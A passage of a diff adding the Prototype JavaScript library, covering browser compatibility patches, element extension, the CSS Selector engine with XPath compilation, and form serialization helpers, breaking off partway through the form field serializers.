+ multiple: v._flag, + onload: v._getEv, + onunload: v._getEv, + onclick: v._getEv, + ondblclick: v._getEv, + onmousedown: v._getEv, + onmouseup: v._getEv, + onmouseover: v._getEv, + onmousemove: v._getEv, + onmouseout: v._getEv, + onfocus: v._getEv, + onblur: v._getEv, + onkeypress: v._getEv, + onkeydown: v._getEv, + onkeyup: v._getEv, + onsubmit: v._getEv, + onreset: v._getEv, + onselect: v._getEv, + onchange: v._getEv + }); + })(Element._attributeTranslations.read.values); +} + +else if (Prototype.Browser.Gecko && /rv:1\.8\.0/.test(navigator.userAgent)) { + Element.Methods.setOpacity = function(element, value) { + element = $(element); + element.style.opacity = (value == 1) ? 0.999999 : + (value === '') ? '' : (value < 0.00001) ? 0 : value; + return element; + }; +} + +else if (Prototype.Browser.WebKit) { + Element.Methods.setOpacity = function(element, value) { + element = $(element); + element.style.opacity = (value == 1 || value === '') ? '' : + (value < 0.00001) ? 0 : value; + + if (value == 1) + if(element.tagName == 'IMG' && element.width) { + element.width++; element.width--; + } else try { + var n = document.createTextNode(' '); + element.appendChild(n); + element.removeChild(n); + } catch (e) { } + + return element; + }; + + // Safari returns margins on body which is incorrect if the child is absolutely + // positioned. For performance reasons, redefine Position.cumulativeOffset for + // KHTML/WebKit only. + Element.Methods.cumulativeOffset = function(element) { + var valueT = 0, valueL = 0; + do { + valueT += element.offsetTop || 0; + valueL += element.offsetLeft || 0; + if (element.offsetParent == document.body) + if (Element.getStyle(element, 'position') == 'absolute') break; + + element = element.offsetParent; + } while (element); + + return Element._returnOffset(valueL, valueT); + }; +} + +if (Prototype.Browser.IE || Prototype.Browser.Opera) { + // IE and Opera are missing .innerHTML support for TABLE-related and SELECT elements + Element.Methods.update = function(element, content) { + element = $(element); + + if (content && content.toElement) content = content.toElement(); + if (Object.isElement(content)) return element.update().insert(content); + + content = Object.toHTML(content); + var tagName = element.tagName.toUpperCase(); + + if (tagName in Element._insertionTranslations.tags) { + $A(element.childNodes).each(function(node) { element.removeChild(node) }); + Element._getContentFromAnonymousElement(tagName, content.stripScripts()) + .each(function(node) { element.appendChild(node) }); + } + else element.innerHTML = content.stripScripts(); + + content.evalScripts.bind(content).defer(); + return element; + }; +} + +if (document.createElement('div').outerHTML) { + Element.Methods.replace = function(element, content) { + element = $(element); + + if (content && content.toElement) content = content.toElement(); + if (Object.isElement(content)) { + element.parentNode.replaceChild(content, element); + return element; + } + + content = Object.toHTML(content); + var parent = element.parentNode, tagName = parent.tagName.toUpperCase(); + + if (Element._insertionTranslations.tags[tagName]) { + var nextSibling = element.next(); + var fragments = Element._getContentFromAnonymousElement(tagName, content.stripScripts()); + parent.removeChild(element); + if (nextSibling) + fragments.each(function(node) { parent.insertBefore(node, nextSibling) }); + else + fragments.each(function(node) { parent.appendChild(node) }); + } + else element.outerHTML = content.stripScripts(); + + content.evalScripts.bind(content).defer(); + return element; + }; +} + +Element._returnOffset = function(l, t) { + var result = [l, t]; + result.left = l; + result.top = t; + return result; +}; + +Element._getContentFromAnonymousElement = function(tagName, html) { + var div = new Element('div'), t = Element._insertionTranslations.tags[tagName]; + div.innerHTML = t[0] + html + t[1]; + t[2].times(function() { div = div.firstChild }); + return $A(div.childNodes); +}; + +Element._insertionTranslations = { + before: { + adjacency: 'beforeBegin', + insert: function(element, node) { + element.parentNode.insertBefore(node, element); + }, + initializeRange: function(element, range) { + range.setStartBefore(element); + } + }, + top: { + adjacency: 'afterBegin', + insert: function(element, node) { + element.insertBefore(node, element.firstChild); + }, + initializeRange: function(element, range) { + range.selectNodeContents(element); + range.collapse(true); + } + }, + bottom: { + adjacency: 'beforeEnd', + insert: function(element, node) { + element.appendChild(node); + } + }, + after: { + adjacency: 'afterEnd', + insert: function(element, node) { + element.parentNode.insertBefore(node, element.nextSibling); + }, + initializeRange: function(element, range) { + range.setStartAfter(element); + } + }, + tags: { + TABLE: ['', '
    ', 1], + TBODY: ['', '
    ', 2], + TR: ['', '
    ', 3], + TD: ['
    ', '
    ', 4], + SELECT: ['', 1] + } +}; + +(function() { + this.bottom.initializeRange = this.top.initializeRange; + Object.extend(this.tags, { + THEAD: this.tags.TBODY, + TFOOT: this.tags.TBODY, + TH: this.tags.TD + }); +}).call(Element._insertionTranslations); + +Element.Methods.Simulated = { + hasAttribute: function(element, attribute) { + attribute = Element._attributeTranslations.has[attribute] || attribute; + var node = $(element).getAttributeNode(attribute); + return node && node.specified; + } +}; + +Element.Methods.ByTag = { }; + +Object.extend(Element, Element.Methods); + +if (!Prototype.BrowserFeatures.ElementExtensions && + document.createElement('div').__proto__) { + window.HTMLElement = { }; + window.HTMLElement.prototype = document.createElement('div').__proto__; + Prototype.BrowserFeatures.ElementExtensions = true; +} + +Element.extend = (function() { + if (Prototype.BrowserFeatures.SpecificElementExtensions) + return Prototype.K; + + var Methods = { }, ByTag = Element.Methods.ByTag; + + var extend = Object.extend(function(element) { + if (!element || element._extendedByPrototype || + element.nodeType != 1 || element == window) return element; + + var methods = Object.clone(Methods), + tagName = element.tagName, property, value; + + // extend methods for specific tags + if (ByTag[tagName]) Object.extend(methods, ByTag[tagName]); + + for (property in methods) { + value = methods[property]; + if (Object.isFunction(value) && !(property in element)) + element[property] = value.methodize(); + } + + element._extendedByPrototype = Prototype.emptyFunction; + return element; + + }, { + refresh: function() { + // extend methods for all tags (Safari doesn't need this) + if (!Prototype.BrowserFeatures.ElementExtensions) { + Object.extend(Methods, Element.Methods); + Object.extend(Methods, Element.Methods.Simulated); + } + } + }); + + extend.refresh(); + return extend; +})(); + +Element.hasAttribute = function(element, attribute) { + if (element.hasAttribute) return element.hasAttribute(attribute); + return Element.Methods.Simulated.hasAttribute(element, attribute); +}; + +Element.addMethods = function(methods) { + var F = Prototype.BrowserFeatures, T = Element.Methods.ByTag; + + if (!methods) { + Object.extend(Form, Form.Methods); + Object.extend(Form.Element, Form.Element.Methods); + Object.extend(Element.Methods.ByTag, { + "FORM": Object.clone(Form.Methods), + "INPUT": Object.clone(Form.Element.Methods), + "SELECT": Object.clone(Form.Element.Methods), + "TEXTAREA": Object.clone(Form.Element.Methods) + }); + } + + if (arguments.length == 2) { + var tagName = methods; + methods = arguments[1]; + } + + if (!tagName) Object.extend(Element.Methods, methods || { }); + else { + if (Object.isArray(tagName)) tagName.each(extend); + else extend(tagName); + } + + function extend(tagName) { + tagName = tagName.toUpperCase(); + if (!Element.Methods.ByTag[tagName]) + Element.Methods.ByTag[tagName] = { }; + Object.extend(Element.Methods.ByTag[tagName], methods); + } + + function copy(methods, destination, onlyIfAbsent) { + onlyIfAbsent = onlyIfAbsent || false; + for (var property in methods) { + var value = methods[property]; + if (!Object.isFunction(value)) continue; + if (!onlyIfAbsent || !(property in destination)) + destination[property] = value.methodize(); + } + } + + function findDOMClass(tagName) { + var klass; + var trans = { + "OPTGROUP": "OptGroup", "TEXTAREA": "TextArea", "P": "Paragraph", + "FIELDSET": "FieldSet", "UL": "UList", "OL": "OList", "DL": "DList", + "DIR": "Directory", "H1": "Heading", "H2": "Heading", "H3": "Heading", + "H4": "Heading", "H5": "Heading", "H6": "Heading", "Q": "Quote", + "INS": "Mod", "DEL": "Mod", "A": "Anchor", "IMG": "Image", "CAPTION": + "TableCaption", "COL": "TableCol", "COLGROUP": "TableCol", "THEAD": + "TableSection", "TFOOT": "TableSection", "TBODY": "TableSection", "TR": + "TableRow", "TH": "TableCell", "TD": "TableCell", "FRAMESET": + "FrameSet", "IFRAME": "IFrame" + }; + if (trans[tagName]) klass = 'HTML' + trans[tagName] + 'Element'; + if (window[klass]) return window[klass]; + klass = 'HTML' + tagName + 'Element'; + if (window[klass]) return window[klass]; + klass = 'HTML' + tagName.capitalize() + 'Element'; + if (window[klass]) return window[klass]; + + window[klass] = { }; + window[klass].prototype = document.createElement(tagName).__proto__; + return window[klass]; + } + + if (F.ElementExtensions) { + copy(Element.Methods, HTMLElement.prototype); + copy(Element.Methods.Simulated, HTMLElement.prototype, true); + } + + if (F.SpecificElementExtensions) { + for (var tag in Element.Methods.ByTag) { + var klass = findDOMClass(tag); + if (Object.isUndefined(klass)) continue; + copy(T[tag], klass.prototype); + } + } + + Object.extend(Element, Element.Methods); + delete Element.ByTag; + + if (Element.extend.refresh) Element.extend.refresh(); + Element.cache = { }; +}; + +document.viewport = { + getDimensions: function() { + var dimensions = { }; + $w('width height').each(function(d) { + var D = d.capitalize(); + dimensions[d] = self['inner' + D] || + (document.documentElement['client' + D] || document.body['client' + D]); + }); + return dimensions; + }, + + getWidth: function() { + return this.getDimensions().width; + }, + + getHeight: function() { + return this.getDimensions().height; + }, + + getScrollOffsets: function() { + return Element._returnOffset( + window.pageXOffset || document.documentElement.scrollLeft || document.body.scrollLeft, + window.pageYOffset || document.documentElement.scrollTop || document.body.scrollTop); + } +}; +/* Portions of the Selector class are derived from Jack Slocum’s DomQuery, + * part of YUI-Ext version 0.40, distributed under the terms of an MIT-style + * license. Please see http://www.yui-ext.com/ for more information. */ + +var Selector = Class.create({ + initialize: function(expression) { + this.expression = expression.strip(); + this.compileMatcher(); + }, + + compileMatcher: function() { + // Selectors with namespaced attributes can't use the XPath version + if (Prototype.BrowserFeatures.XPath && !(/(\[[\w-]*?:|:checked)/).test(this.expression)) + return this.compileXPathMatcher(); + + var e = this.expression, ps = Selector.patterns, h = Selector.handlers, + c = Selector.criteria, le, p, m; + + if (Selector._cache[e]) { + this.matcher = Selector._cache[e]; + return; + } + + this.matcher = ["this.matcher = function(root) {", + "var r = root, h = Selector.handlers, c = false, n;"]; + + while (e && le != e && (/\S/).test(e)) { + le = e; + for (var i in ps) { + p = ps[i]; + if (m = e.match(p)) { + this.matcher.push(Object.isFunction(c[i]) ? c[i](m) : + new Template(c[i]).evaluate(m)); + e = e.replace(m[0], ''); + break; + } + } + } + + this.matcher.push("return h.unique(n);\n}"); + eval(this.matcher.join('\n')); + Selector._cache[this.expression] = this.matcher; + }, + + compileXPathMatcher: function() { + var e = this.expression, ps = Selector.patterns, + x = Selector.xpath, le, m; + + if (Selector._cache[e]) { + this.xpath = Selector._cache[e]; return; + } + + this.matcher = ['.//*']; + while (e && le != e && (/\S/).test(e)) { + le = e; + for (var i in ps) { + if (m = e.match(ps[i])) { + this.matcher.push(Object.isFunction(x[i]) ? x[i](m) : + new Template(x[i]).evaluate(m)); + e = e.replace(m[0], ''); + break; + } + } + } + + this.xpath = this.matcher.join(''); + Selector._cache[this.expression] = this.xpath; + }, + + findElements: function(root) { + root = root || document; + if (this.xpath) return document._getElementsByXPath(this.xpath, root); + return this.matcher(root); + }, + + match: function(element) { + this.tokens = []; + + var e = this.expression, ps = Selector.patterns, as = Selector.assertions; + var le, p, m; + + while (e && le !== e && (/\S/).test(e)) { + le = e; + for (var i in ps) { + p = ps[i]; + if (m = e.match(p)) { + // use the Selector.assertions methods unless the selector + // is too complex. + if (as[i]) { + this.tokens.push([i, Object.clone(m)]); + e = e.replace(m[0], ''); + } else { + // reluctantly do a document-wide search + // and look for a match in the array + return this.findElements(document).include(element); + } + } + } + } + + var match = true, name, matches; + for (var i = 0, token; token = this.tokens[i]; i++) { + name = token[0], matches = token[1]; + if (!Selector.assertions[name](element, matches)) { + match = false; break; + } + } + + return match; + }, + + toString: function() { + return this.expression; + }, + + inspect: function() { + return "#"; + } +}); + +Object.extend(Selector, { + _cache: { }, + + xpath: { + descendant: "//*", + child: "/*", + adjacent: "/following-sibling::*[1]", + laterSibling: '/following-sibling::*', + tagName: function(m) { + if (m[1] == '*') return ''; + return "[local-name()='" + m[1].toLowerCase() + + "' or local-name()='" + m[1].toUpperCase() + "']"; + }, + className: "[contains(concat(' ', @class, ' '), ' #{1} ')]", + id: "[@id='#{1}']", + attrPresence: "[@#{1}]", + attr: function(m) { + m[3] = m[5] || m[6]; + return new Template(Selector.xpath.operators[m[2]]).evaluate(m); + }, + pseudo: function(m) { + var h = Selector.xpath.pseudos[m[1]]; + if (!h) return ''; + if (Object.isFunction(h)) return h(m); + return new Template(Selector.xpath.pseudos[m[1]]).evaluate(m); + }, + operators: { + '=': "[@#{1}='#{3}']", + '!=': "[@#{1}!='#{3}']", + '^=': "[starts-with(@#{1}, '#{3}')]", + '$=': "[substring(@#{1}, (string-length(@#{1}) - string-length('#{3}') + 1))='#{3}']", + '*=': "[contains(@#{1}, '#{3}')]", + '~=': "[contains(concat(' ', @#{1}, ' '), ' #{3} ')]", + '|=': "[contains(concat('-', @#{1}, '-'), '-#{3}-')]" + }, + pseudos: { + 'first-child': '[not(preceding-sibling::*)]', + 'last-child': '[not(following-sibling::*)]', + 'only-child': '[not(preceding-sibling::* or following-sibling::*)]', + 'empty': "[count(*) = 0 and (count(text()) = 0 or translate(text(), ' \t\r\n', '') = '')]", + 'checked': "[@checked]", + 'disabled': "[@disabled]", + 'enabled': "[not(@disabled)]", + 'not': function(m) { + var e = m[6], p = Selector.patterns, + x = Selector.xpath, le, m, v; + + var exclusion = []; + while (e && le != e && (/\S/).test(e)) { + le = e; + for (var i in p) { + if (m = e.match(p[i])) { + v = Object.isFunction(x[i]) ? x[i](m) : new Template(x[i]).evaluate(m); + exclusion.push("(" + v.substring(1, v.length - 1) + ")"); + e = e.replace(m[0], ''); + break; + } + } + } + return "[not(" + exclusion.join(" and ") + ")]"; + }, + 'nth-child': function(m) { + return Selector.xpath.pseudos.nth("(count(./preceding-sibling::*) + 1) ", m); + }, + 'nth-last-child': function(m) { + return Selector.xpath.pseudos.nth("(count(./following-sibling::*) + 1) ", m); + }, + 'nth-of-type': function(m) { + return Selector.xpath.pseudos.nth("position() ", m); + }, + 'nth-last-of-type': function(m) { + return Selector.xpath.pseudos.nth("(last() + 1 - position()) ", m); + }, + 'first-of-type': function(m) { + m[6] = "1"; return Selector.xpath.pseudos['nth-of-type'](m); + }, + 'last-of-type': function(m) { + m[6] = "1"; return Selector.xpath.pseudos['nth-last-of-type'](m); + }, + 'only-of-type': function(m) { + var p = Selector.xpath.pseudos; return p['first-of-type'](m) + p['last-of-type'](m); + }, + nth: function(fragment, m) { + var mm, formula = m[6], predicate; + if (formula == 'even') formula = '2n+0'; + if (formula == 'odd') formula = '2n+1'; + if (mm = formula.match(/^(\d+)$/)) // digit only + return '[' + fragment + "= " + mm[1] + ']'; + if (mm = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b + if (mm[1] == "-") mm[1] = -1; + var a = mm[1] ? Number(mm[1]) : 1; + var b = mm[2] ? Number(mm[2]) : 0; + predicate = "[((#{fragment} - #{b}) mod #{a} = 0) and " + + "((#{fragment} - #{b}) div #{a} >= 0)]"; + return new Template(predicate).evaluate({ + fragment: fragment, a: a, b: b }); + } + } + } + }, + + criteria: { + tagName: 'n = h.tagName(n, r, "#{1}", c); c = false;', + className: 'n = h.className(n, r, "#{1}", c); c = false;', + id: 'n = h.id(n, r, "#{1}", c); c = false;', + attrPresence: 'n = h.attrPresence(n, r, "#{1}"); c = false;', + attr: function(m) { + m[3] = (m[5] || m[6]); + return new Template('n = h.attr(n, r, "#{1}", "#{3}", "#{2}"); c = false;').evaluate(m); + }, + pseudo: function(m) { + if (m[6]) m[6] = m[6].replace(/"/g, '\\"'); + return new Template('n = h.pseudo(n, "#{1}", "#{6}", r, c); c = false;').evaluate(m); + }, + descendant: 'c = "descendant";', + child: 'c = "child";', + adjacent: 'c = "adjacent";', + laterSibling: 'c = "laterSibling";' + }, + + patterns: { + // combinators must be listed first + // (and descendant needs to be last combinator) + laterSibling: /^\s*~\s*/, + child: /^\s*>\s*/, + adjacent: /^\s*\+\s*/, + descendant: /^\s/, + + // selectors follow + tagName: /^\s*(\*|[\w\-]+)(\b|$)?/, + id: /^#([\w\-\*]+)(\b|$)/, + className: /^\.([\w\-\*]+)(\b|$)/, + pseudo: /^:((first|last|nth|nth-last|only)(-child|-of-type)|empty|checked|(en|dis)abled|not)(\((.*?)\))?(\b|$|(?=\s)|(?=:))/, + attrPresence: /^\[([\w]+)\]/, + attr: /\[((?:[\w-]*:)?[\w-]+)\s*(?:([!^$*~|]?=)\s*((['"])([^\4]*?)\4|([^'"][^\]]*?)))?\]/ + }, + + // for Selector.match and Element#match + assertions: { + tagName: function(element, matches) { + return matches[1].toUpperCase() == element.tagName.toUpperCase(); + }, + + className: function(element, matches) { + return Element.hasClassName(element, matches[1]); + }, + + id: function(element, matches) { + return element.id === matches[1]; + }, + + attrPresence: function(element, matches) { + return Element.hasAttribute(element, matches[1]); + }, + + attr: function(element, matches) { + var nodeValue = Element.readAttribute(element, matches[1]); + return Selector.operators[matches[2]](nodeValue, matches[3]); + } + }, + + handlers: { + // UTILITY FUNCTIONS + // joins two collections + concat: function(a, b) { + for (var i = 0, node; node = b[i]; i++) + a.push(node); + return a; + }, + + // marks an array of nodes for counting + mark: function(nodes) { + for (var i = 0, node; node = nodes[i]; i++) + node._counted = true; + return nodes; + }, + + unmark: function(nodes) { + for (var i = 0, node; node = nodes[i]; i++) + node._counted = undefined; + return nodes; + }, + + // mark each child node with its position (for nth calls) + // "ofType" flag indicates whether we're indexing for nth-of-type + // rather than nth-child + index: function(parentNode, reverse, ofType) { + parentNode._counted = true; + if (reverse) { + for (var nodes = parentNode.childNodes, i = nodes.length - 1, j = 1; i >= 0; i--) { + var node = nodes[i]; + if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++; + } + } else { + for (var i = 0, j = 1, nodes = parentNode.childNodes; node = nodes[i]; i++) + if (node.nodeType == 1 && (!ofType || node._counted)) node.nodeIndex = j++; + } + }, + + // filters out duplicates and extends all nodes + unique: function(nodes) { + if (nodes.length == 0) return nodes; + var results = [], n; + for (var i = 0, l = nodes.length; i < l; i++) + if (!(n = nodes[i])._counted) { + n._counted = true; + results.push(Element.extend(n)); + } + return Selector.handlers.unmark(results); + }, + + // COMBINATOR FUNCTIONS + descendant: function(nodes) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) + h.concat(results, node.getElementsByTagName('*')); + return results; + }, + + child: function(nodes) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) { + for (var j = 0, children = [], child; child = node.childNodes[j]; j++) + if (child.nodeType == 1 && child.tagName != '!') results.push(child); + } + return results; + }, + + adjacent: function(nodes) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + var next = this.nextElementSibling(node); + if (next) results.push(next); + } + return results; + }, + + laterSibling: function(nodes) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) + h.concat(results, Element.nextSiblings(node)); + return results; + }, + + nextElementSibling: function(node) { + while (node = node.nextSibling) + if (node.nodeType == 1) return node; + return null; + }, + + previousElementSibling: function(node) { + while (node = node.previousSibling) + if (node.nodeType == 1) return node; + return null; + }, + + // TOKEN FUNCTIONS + tagName: function(nodes, root, tagName, combinator) { + tagName = tagName.toUpperCase(); + var results = [], h = Selector.handlers; + if (nodes) { + if (combinator) { + // fastlane for ordinary descendant combinators + if (combinator == "descendant") { + for (var i = 0, node; node = nodes[i]; i++) + h.concat(results, node.getElementsByTagName(tagName)); + return results; + } else nodes = this[combinator](nodes); + if (tagName == "*") return nodes; + } + for (var i = 0, node; node = nodes[i]; i++) + if (node.tagName.toUpperCase() == tagName) results.push(node); + return results; + } else return root.getElementsByTagName(tagName); + }, + + id: function(nodes, root, id, combinator) { + var targetNode = $(id), h = Selector.handlers; + if (!targetNode) return []; + if (!nodes && root == document) return [targetNode]; + if (nodes) { + if (combinator) { + if (combinator == 'child') { + for (var i = 0, node; node = nodes[i]; i++) + if (targetNode.parentNode == node) return [targetNode]; + } else if (combinator == 'descendant') { + for (var i = 0, node; node = nodes[i]; i++) + if (Element.descendantOf(targetNode, node)) return [targetNode]; + } else if (combinator == 'adjacent') { + for (var i = 0, node; node = nodes[i]; i++) + if (Selector.handlers.previousElementSibling(targetNode) == node) + return [targetNode]; + } else nodes = h[combinator](nodes); + } + for (var i = 0, node; node = nodes[i]; i++) + if (node == targetNode) return [targetNode]; + return []; + } + return (targetNode && Element.descendantOf(targetNode, root)) ? [targetNode] : []; + }, + + className: function(nodes, root, className, combinator) { + if (nodes && combinator) nodes = this[combinator](nodes); + return Selector.handlers.byClassName(nodes, root, className); + }, + + byClassName: function(nodes, root, className) { + if (!nodes) nodes = Selector.handlers.descendant([root]); + var needle = ' ' + className + ' '; + for (var i = 0, results = [], node, nodeClassName; node = nodes[i]; i++) { + nodeClassName = node.className; + if (nodeClassName.length == 0) continue; + if (nodeClassName == className || (' ' + nodeClassName + ' ').include(needle)) + results.push(node); + } + return results; + }, + + attrPresence: function(nodes, root, attr) { + if (!nodes) nodes = root.getElementsByTagName("*"); + var results = []; + for (var i = 0, node; node = nodes[i]; i++) + if (Element.hasAttribute(node, attr)) results.push(node); + return results; + }, + + attr: function(nodes, root, attr, value, operator) { + if (!nodes) nodes = root.getElementsByTagName("*"); + var handler = Selector.operators[operator], results = []; + for (var i = 0, node; node = nodes[i]; i++) { + var nodeValue = Element.readAttribute(node, attr); + if (nodeValue === null) continue; + if (handler(nodeValue, value)) results.push(node); + } + return results; + }, + + pseudo: function(nodes, name, value, root, combinator) { + if (nodes && combinator) nodes = this[combinator](nodes); + if (!nodes) nodes = root.getElementsByTagName("*"); + return Selector.pseudos[name](nodes, value, root); + } + }, + + pseudos: { + 'first-child': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + if (Selector.handlers.previousElementSibling(node)) continue; + results.push(node); + } + return results; + }, + 'last-child': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + if (Selector.handlers.nextElementSibling(node)) continue; + results.push(node); + } + return results; + }, + 'only-child': function(nodes, value, root) { + var h = Selector.handlers; + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (!h.previousElementSibling(node) && !h.nextElementSibling(node)) + results.push(node); + return results; + }, + 'nth-child': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root); + }, + 'nth-last-child': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root, true); + }, + 'nth-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root, false, true); + }, + 'nth-last-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, formula, root, true, true); + }, + 'first-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, "1", root, false, true); + }, + 'last-of-type': function(nodes, formula, root) { + return Selector.pseudos.nth(nodes, "1", root, true, true); + }, + 'only-of-type': function(nodes, formula, root) { + var p = Selector.pseudos; + return p['last-of-type'](p['first-of-type'](nodes, formula, root), formula, root); + }, + + // handles the an+b logic + getIndices: function(a, b, total) { + if (a == 0) return b > 0 ? [b] : []; + return $R(1, total).inject([], function(memo, i) { + if (0 == (i - b) % a && (i - b) / a >= 0) memo.push(i); + return memo; + }); + }, + + // handles nth(-last)-child, nth(-last)-of-type, and (first|last)-of-type + nth: function(nodes, formula, root, reverse, ofType) { + if (nodes.length == 0) return []; + if (formula == 'even') formula = '2n+0'; + if (formula == 'odd') formula = '2n+1'; + var h = Selector.handlers, results = [], indexed = [], m; + h.mark(nodes); + for (var i = 0, node; node = nodes[i]; i++) { + if (!node.parentNode._counted) { + h.index(node.parentNode, reverse, ofType); + indexed.push(node.parentNode); + } + } + if (formula.match(/^\d+$/)) { // just a number + formula = Number(formula); + for (var i = 0, node; node = nodes[i]; i++) + if (node.nodeIndex == formula) results.push(node); + } else if (m = formula.match(/^(-?\d*)?n(([+-])(\d+))?/)) { // an+b + if (m[1] == "-") m[1] = -1; + var a = m[1] ? Number(m[1]) : 1; + var b = m[2] ? Number(m[2]) : 0; + var indices = Selector.pseudos.getIndices(a, b, nodes.length); + for (var i = 0, node, l = indices.length; node = nodes[i]; i++) { + for (var j = 0; j < l; j++) + if (node.nodeIndex == indices[j]) results.push(node); + } + } + h.unmark(nodes); + h.unmark(indexed); + return results; + }, + + 'empty': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) { + // IE treats comments as element nodes + if (node.tagName == '!' || (node.firstChild && !node.innerHTML.match(/^\s*$/))) continue; + results.push(node); + } + return results; + }, + + 'not': function(nodes, selector, root) { + var h = Selector.handlers, selectorType, m; + var exclusions = new Selector(selector).findElements(root); + h.mark(exclusions); + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (!node._counted) results.push(node); + h.unmark(exclusions); + return results; + }, + + 'enabled': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (!node.disabled) results.push(node); + return results; + }, + + 'disabled': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (node.disabled) results.push(node); + return results; + }, + + 'checked': function(nodes, value, root) { + for (var i = 0, results = [], node; node = nodes[i]; i++) + if (node.checked) results.push(node); + return results; + } + }, + + operators: { + '=': function(nv, v) { return nv == v; }, + '!=': function(nv, v) { return nv != v; }, + '^=': function(nv, v) { return nv.startsWith(v); }, + '$=': function(nv, v) { return nv.endsWith(v); }, + '*=': function(nv, v) { return nv.include(v); }, + '~=': function(nv, v) { return (' ' + nv + ' ').include(' ' + v + ' '); }, + '|=': function(nv, v) { return ('-' + nv.toUpperCase() + '-').include('-' + v.toUpperCase() + '-'); } + }, + + matchElements: function(elements, expression) { + var matches = new Selector(expression).findElements(), h = Selector.handlers; + h.mark(matches); + for (var i = 0, results = [], element; element = elements[i]; i++) + if (element._counted) results.push(element); + h.unmark(matches); + return results; + }, + + findElement: function(elements, expression, index) { + if (Object.isNumber(expression)) { + index = expression; expression = false; + } + return Selector.matchElements(elements, expression || '*')[index || 0]; + }, + + findChildElements: function(element, expressions) { + var exprs = expressions.join(','), expressions = []; + exprs.scan(/(([\w#:.~>+()\s-]+|\*|\[.*?\])+)\s*(,|$)/, function(m) { + expressions.push(m[1].strip()); + }); + var results = [], h = Selector.handlers; + for (var i = 0, l = expressions.length, selector; i < l; i++) { + selector = new Selector(expressions[i].strip()); + h.concat(results, selector.findElements(element)); + } + return (l > 1) ? h.unique(results) : results; + } +}); + +function $$() { + return Selector.findChildElements(document, $A(arguments)); +} +var Form = { + reset: function(form) { + $(form).reset(); + return form; + }, + + serializeElements: function(elements, options) { + if (typeof options != 'object') options = { hash: !!options }; + else if (options.hash === undefined) options.hash = true; + var key, value, submitted = false, submit = options.submit; + + var data = elements.inject({ }, function(result, element) { + if (!element.disabled && element.name) { + key = element.name; value = $(element).getValue(); + if (value != null && (element.type != 'submit' || (!submitted && + submit !== false && (!submit || key == submit) && (submitted = true)))) { + if (key in result) { + // a key is already present; construct an array of values + if (!Object.isArray(result[key])) result[key] = [result[key]]; + result[key].push(value); + } + else result[key] = value; + } + } + return result; + }); + + return options.hash ? data : Object.toQueryString(data); + } +}; + +Form.Methods = { + serialize: function(form, options) { + return Form.serializeElements(Form.getElements(form), options); + }, + + getElements: function(form) { + return $A($(form).getElementsByTagName('*')).inject([], + function(elements, child) { + if (Form.Element.Serializers[child.tagName.toLowerCase()]) + elements.push(Element.extend(child)); + return elements; + } + ); + }, + + getInputs: function(form, typeName, name) { + form = $(form); + var inputs = form.getElementsByTagName('input'); + + if (!typeName && !name) return $A(inputs).map(Element.extend); + + for (var i = 0, matchingInputs = [], length = inputs.length; i < length; i++) { + var input = inputs[i]; + if ((typeName && input.type != typeName) || (name && input.name != name)) + continue; + matchingInputs.push(Element.extend(input)); + } + + return matchingInputs; + }, + + disable: function(form) { + form = $(form); + Form.getElements(form).invoke('disable'); + return form; + }, + + enable: function(form) { + form = $(form); + Form.getElements(form).invoke('enable'); + return form; + }, + + findFirstElement: function(form) { + var elements = $(form).getElements().findAll(function(element) { + return 'hidden' != element.type && !element.disabled; + }); + var firstByIndex = elements.findAll(function(element) { + return element.hasAttribute('tabIndex') && element.tabIndex >= 0; + }).sortBy(function(element) { return element.tabIndex }).first(); + + return firstByIndex ? firstByIndex : elements.find(function(element) { + return ['input', 'select', 'textarea'].include(element.tagName.toLowerCase()); + }); + }, + + focusFirstElement: function(form) { + form = $(form); + form.findFirstElement().activate(); + return form; + }, + + request: function(form, options) { + form = $(form), options = Object.clone(options || { }); + + var params = options.parameters, action = form.readAttribute('action') || ''; + if (action.blank()) action = window.location.href; + options.parameters = form.serialize(true); + + if (params) { + if (Object.isString(params)) params = params.toQueryParams(); + Object.extend(options.parameters, params); + } + + if (form.hasAttribute('method') && !options.method) + options.method = form.method; + + return new Ajax.Request(action, options); + } +}; + +/*--------------------------------------------------------------------------*/ + +Form.Element = { + focus: function(element) { + $(element).focus(); + return element; + }, + + select: function(element) { + $(element).select(); + return element; + } +}; + +Form.Element.Methods = { + serialize: function(element) { + element = $(element); + if (!element.disabled && element.name) { + var value = element.getValue(); + if (value != undefined) { + var pair = { }; + pair[element.name] = value; + return Object.toQueryString(pair); + } + } + return ''; + }, + + getValue: function(element) { + element = $(element); + var method = element.tagName.toLowerCase(); + return Form.Element.Serializers[method](element); + }, + + setValue: function(element, value) { + element = $(element); + var method = element.tagName.toLowerCase(); + Form.Element.Serializers[method](element, value); + return element; + }, + + clear: function(element) { + $(element).value = ''; + return element; + }, + + present: function(element) { + return $(element).value != ''; + }, + + activate: function(element) { + element = $(element); + try { + element.focus(); + if (element.select && (element.tagName.toLowerCase() != 'input' || + !['button', 'reset', 'submit'].include(element.type))) + element.select(); + } catch (e) { } + return element; + }, + + disable: function(element) { + element = $(element); + element.blur(); + element.disabled = true; + return element; + }, + + enable: function(element) { + element = $(element); + element.disabled = false; + return element; + } +}; + +/*--------------------------------------------------------------------------*/ + +var Field = Form.Element; +var $F = Form.Element.Methods.getValue; + +/*--------------------------------------------------------------------------*/ + +Form.Element.Serializers = { + input: function(element, value) { + switch (element.type.toLowerCase()) { + case 'checkbox': + case 'radio': + return Form.Element.Serializers.inputSelector(element, value); + 